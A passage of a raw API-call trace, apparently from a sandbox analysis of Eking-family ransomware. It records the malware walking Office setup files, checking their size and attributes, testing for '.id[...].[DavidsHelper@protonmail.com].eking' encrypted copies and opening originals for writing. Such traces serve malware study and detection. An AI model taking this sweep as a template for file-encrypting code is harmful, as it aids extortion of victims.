dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.305] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1452) returned 1 [0170.305] CloseHandle (hObject=0x1ec) returned 1 [0170.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0170.305] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml")) returned 0x20 [0170.306] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.306] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1231) returned 1 [0170.306] CloseHandle (hObject=0x1ec) returned 1 [0170.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0170.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0170.307] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.307] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.308] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1852) returned 1 [0170.308] CloseHandle (hObject=0x1ec) returned 1 [0170.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0170.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0170.308] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.308] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.310] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=571320) returned 1 [0170.310] CloseHandle (hObject=0x1ec) returned 1 [0170.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0170.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0170.310] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.311] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.499] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15224) returned 1 [0170.499] CloseHandle (hObject=0x1ec) returned 1 [0170.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0170.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0170.499] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.500] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.500] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=71236) returned 1 [0170.500] CloseHandle (hObject=0x1ec) returned 1 [0170.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0170.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0170.501] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.501] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.502] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.502] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=5557) returned 1 [0170.502] CloseHandle (hObject=0x1ec) returned 1 [0170.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0170.502] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0170.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.503] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.503] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=819) returned 1 [0170.503] CloseHandle (hObject=0x1ec) returned 1 [0170.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0170.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0170.503] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.504] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.505] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=191872) returned 1 [0170.505] CloseHandle (hObject=0x1ec) returned 1 [0170.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0170.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll")) returned 0x20 [0170.505] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OSETUPUI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\osetupui.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.505] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.506] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=15760) returned 1 [0170.506] CloseHandle (hObject=0x1ec) returned 1 [0170.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0170.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll")) returned 0x20 [0170.506] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.506] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\promointl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\promointl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.507] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.511] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=37689) returned 1 [0170.511] CloseHandle (hObject=0x1ec) returned 1 [0170.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0170.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm")) returned 0x20 [0170.511] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSCONFIG.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\psconfig.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.511] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.512] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=26929) returned 1 [0170.512] CloseHandle (hObject=0x1ec) returned 1 [0170.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0170.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0170.512] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.512] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.513] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=27195) returned 1 [0170.513] CloseHandle (hObject=0x1ec) returned 1 [0170.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0170.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm")) returned 0x20 [0170.514] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10R.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.514] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0170.515] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=67190) returned 1 [0170.515] CloseHandle (hObject=0x1ec) returned 1 [0170.515] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0170.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm")) returned 0x20 [0170.516] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0170.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0170.516] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML" (normalized: 